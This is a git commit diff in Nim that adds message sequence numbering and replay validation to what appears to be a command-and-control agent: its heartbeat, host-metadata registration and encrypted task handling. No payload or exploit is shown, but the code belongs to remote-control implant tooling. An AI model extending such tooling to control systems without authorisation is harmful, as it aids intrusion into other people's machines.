Implemented sequence tracking.

This commit is contained in:
Jakob Friedl
2025-07-26 18:20:54 +02:00
parent a6039172b2
commit 882579b3cb
10 changed files with 86 additions and 50 deletions

View File

@@ -1,6 +1,6 @@
import times
import ../../common/[types, serialize, utils, crypto]
import ../../common/[types, serialize, sequence, utils, crypto]
proc createHeartbeat*(config: AgentConfig): Heartbeat =
return Heartbeat(
@@ -11,7 +11,7 @@ proc createHeartbeat*(config: AgentConfig): Heartbeat =
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
seqNr: 0'u64,
seqNr: 0'u64,
iv: generateIV(),
gmac: default(AuthenticationTag)
),

View File

@@ -1,6 +1,6 @@
import winim, os, net, strformat, strutils, registry, sugar
import ../../common/[types, serialize, crypto, utils]
import ../../common/[types, serialize, sequence, crypto, utils]
# Hostname/Computername
proc getHostname(): string =
@@ -202,7 +202,7 @@ proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
seqNr: 1'u64, # TODO: Implement sequence tracking
seqNr: nextSequence(uuidToUint32(config.agentId)),
iv: generateIV(),
gmac: default(AuthenticationTag)
),

View File

@@ -1,7 +1,7 @@
import strutils, tables, json, strformat, sugar
import ../../modules/manager
import ../../common/[types, serialize, crypto, utils]
import ../../common/[types, serialize, sequence, crypto, utils]
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
try:
@@ -22,7 +22,9 @@ proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
if header.packetType != cast[uint8](MSG_TASK):
raise newException(CatchableError, "Invalid packet type.")
# TODO: Validate sequence number
# Validate sequence number
if not validateSequence(header.agentId, header.seqNr, header.packetType):
raise newException(CatchableError, "Invalid sequence number.")
# Decrypt payload
let payload = unpacker.getBytes(int(header.size))

View File

@@ -1,10 +1,7 @@
import times, sugar
import ../../common/[types, serialize, crypto, utils]
import ../../common/[types, serialize, sequence, crypto, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
# TODO: Implement sequence tracking
return TaskResult(
header: Header(
magic: MAGIC,
@@ -13,7 +10,7 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: task.header.agentId,
seqNr: 1'u64,
seqNr: nextSequence(task.header.agentId),
iv: generateIV(),
gmac: default(array[16, byte])
),